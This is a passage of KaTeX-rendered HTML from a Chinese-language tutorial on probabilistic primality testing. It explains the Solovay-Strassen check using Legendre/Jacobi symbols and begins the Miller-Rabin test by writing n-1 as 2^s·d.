\mod n = \left(\frac{d}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9540200000000001em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9540200000000001em;"><span style="top:-3.363em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142857em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6666666666666666em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.80002em;vertical-align:-0.65002em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801079999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>,则n可能是素数,否则n是合数。所以计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mfrac><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><mn>2</mn></mfrac></msup><mspace></mspace><mspace width="0.6666666666666666em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi></mrow><annotation encoding="application/x-tex">a^{\frac{n-1}{2}} \mod n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9540200000000001em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9540200000000001em;"><span style="top:-3.363em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142857em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6666666666666666em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span></span></span></span> 是否等于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\left(\frac{d}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.80002em;vertical-align:-0.65002em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801079999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>就可以粗略地判断一个数是否为素数,对于这个式子,p是素数,则这个式子一定成立,但是满足这个式子的数不一定是素数,所以需要多次实验来提高正确率。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\left(\frac{d}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.80002em;vertical-align:-0.65002em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801079999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>的计算方式为将<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span></span></span></span>分解为素数的乘积,然后计算每个素数的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mi>e</mi><mi>g</mi><mi>e</mi><mi>n</mi><mi>d</mi><mi>r</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">Legendre</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">L</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span></span></span></span>符号,最后将每个素数的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mi>e</mi><mi>g</mi><mi>e</mi><mi>n</mi><mi>d</mi><mi>r</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">Legendre</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">L</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span></span></span></span>符号相乘,得到的结果就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\left(\frac{d}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.80002em;vertical-align:-0.65002em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801079999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>的值,所以我们可以通过递归的方式来设计函数来计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mfrac><mi>d</mi><mi>p</mi></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\left(\frac{d}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.80002em;vertical-align:-0.65002em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801079999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.481108em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>的值。</p><h2 id="miller-rabin"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mi>i</mi><mi>l</mi><mi>l</mi><mi>e</mi><mi>r</mi><mo>−</mo><mi>R</mi><mi>a</mi><mi>b</mi><mi>i</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Miller-Rabin</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span></span></span></span></h2><p>基于Fermat小定理及其引理,假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span> 是一个奇素数,且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>></mo><mn>2</mn></mrow><annotation encoding="application/x-tex">n > 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">2</span></span></span></span>,此时<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mtext>−</mtext><mn>1</mn></mrow><annotation encoding="application/x-tex">n − 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">n</span><span class="mord">−</span><span class="mord">1</span></span></span></span>必然为一个偶数,可以被表示为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>s</mi></msup><mo separator="true">⋅</mo><mi>d</mi></mrow><annotation encoding="application/x-tex">2^{s}· d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span><span class="mpunct">⋅</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">d</span></span></span></span>的形式对于素数p有:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><msup><mn>2</mn><mi>s</mi></msup><mi>d</mi></mrow></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{2^{s}d} \equiv 1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.92998em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.92998em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385428571428572em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight">d</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>对上式引理,有:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><msup><mn>2</mn><mrow><mi>s</mi><mo>−</mo><mn>1</mn></mrow></msup><mi>d</mi></mrow></msup><mo>≡</mo><mo>±</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{2^{s-1}d} \equiv \pm 1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0369199999999998em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0369199999999998em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913142857142857em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight">d</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">±</span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>要是结果为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">−</span><span class="mord">1</span></span></span></span>,我们可以一直做取平方根的操作,最终简化得到:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mi>d</mi></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{d} \equiv 1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>即如果随机选取一个整数<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo stretchy="false">(</mo><mn>1</mn><mo><</mo><mi>a</mi><mo><</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a(1<a<n-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>,使得对任意<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo stretchy="false">(</mo><mn>0</mn><mo><</mo><mi>r</mi><mo><</mo><mi>s</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">r(0<r<s-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel"><</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>能使得<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><msup><mn>2</mn><mi>r</mi></msup><mi>d</mi></mrow></msup><mo>≡</mo><mo>−</mo><mn>1</mn><mspace></mspace><mspace width="0.4444444444444444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{2^{r}d} \equiv -1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.87998em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.87998em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385428571428572em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span></span></span></span></span><span class="mord mathnormal mtight">d</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">−</span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444444444444444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>,或者<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>d</mi></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="0.4444444444444444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333333333333333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{d} \equiv 1 \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.849108em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444444444444444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.3333333333333333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>,则<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 